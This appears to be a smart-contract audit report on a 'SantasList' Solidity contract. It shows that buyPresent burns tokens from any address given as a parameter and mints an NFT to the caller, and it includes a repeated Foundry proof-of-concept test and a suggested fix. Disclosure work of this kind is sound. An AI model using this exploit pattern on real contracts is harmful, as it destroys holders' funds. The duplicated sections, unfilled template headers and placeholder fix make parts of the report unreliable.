Root + Impact
Description-Description
The intended flow of buyPresent is...
Root Cause
...
Impact
...
## Summary
`buyPresent(address presentReceiver)` is intended to let `msg.sender` buy a present for someone else by burning his own tokens. But implementation does `i_santaToken.burn(presentReceiver)` instead of `burn(msg.sender)`, and then mints NFT to `msg.sender` via `_mintAndIncrement()`.
This allows attacker to burn tokens from ANY address that holds SantaTokens and mint NFT for himself, without approval, without owning tokens.
## Vulnerability Details
File: SantasList.sol L172-L185
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
- `burn` only checks msg.sender == i_santasList, it doesn't check allowance or balance owner approval. So SantasList can burn anyone.
- Attacker calls buyPresent(victim) where victim has 1e18 SantaTokens
- Victim's tokens are burnt, attacker gets NFT.
## Impact
High - Breaks token accounting, griefing, unauthorized burning of user funds, free minting. No privileges required.
## Proof of Concept
```solidity
function test_BuyPresent_BurnsAnyone() public {
address santa = makeAddr("santa");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
SantasList list = new SantasList(santa);
SantaToken token = list.i_santaToken();
vm.prank(santa);
list.checkList(victim, SantasList.Status.NICE);
vm.prank(santa);
list.checkTwice(victim, SantasList.Status.NICE);
vm.prank(victim);
list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker);
list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}
Risk
Likelihood:anyone can call with any address.
Impact:direct loss of user funds.
Proof of Concept-PoC Explanation
Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
Attacker holds 0 tokens.
Steps to reproduce:
PoC Code
function test_BurnAnyone() public {
vm.prank(santa); list.checkList(victim, Status.NICE);
vm.prank(santa); list.checkTwice(victim, Status.NICE);
vm.prank(victim); list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker); list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}
Result
Before: victim 1e18 tokens, attacker 0 NFT
After: victim 0 tokens, attacker 1 NFT
This proves unauthorized burn + free mint
Run: forge test --match-test test_BurnAnyone -vvvv
Result
Before: victim 1e18, attacker 0 NFT
After: victim 0, attacker 1 NFT
This proves unauthorized burn + free mint.
Run: forge test --match-test test_BurnAnyone -vvvv
}
## PoC Explanation
Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
Steps to reproduce:
1. Santa calls checkList(victim, NICE) and checkTwice(victim, NICE)
2. Victim calls collectPresent() -> gets 1e18 SantaToken
3. Attacker (0 balance) calls buyPresent(victim)
4. Contract executes i_santaToken.burn(victim) - burns victim's tokens
5. Contract executes _mintAndIncrement() - mints NFT to attacker (msg.sender)
Expected: burn should be from msg.sender
Actual: burn is from arbitrary address passed as param
## Steps to Run
File: test/BuyPresentBug.t.sol
forge test --match-test test_BurnAnyone -vvvv
## PoC Code
function test_BurnAnyone() public {
vm.prank(santa);
list.checkList(victim, Status.NICE);
vm.prank(santa);
list.checkTwice(victim, Status.NICE);
vm.prank(victim);
list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker);
list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}
## Result
Before attack: victim 1e18 tokens, attacker 0 NFTs
After attack: victim 0 tokens, attacker 1 NFT
Logs show attacker can drain any holder and mint for free.
Recommended Mitigation-SantaToken.burn() already restricts caller to SantasList, but SantasList must ensure it only burns msg.sender balance, not arbitrary address.
- remove this code
+ add this code
- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
- }
+ function buyPresent(address presentReceiver) external {
+ i_santaToken.burn(msg.sender);
+ _mint(presentReceiver, ...);
+ }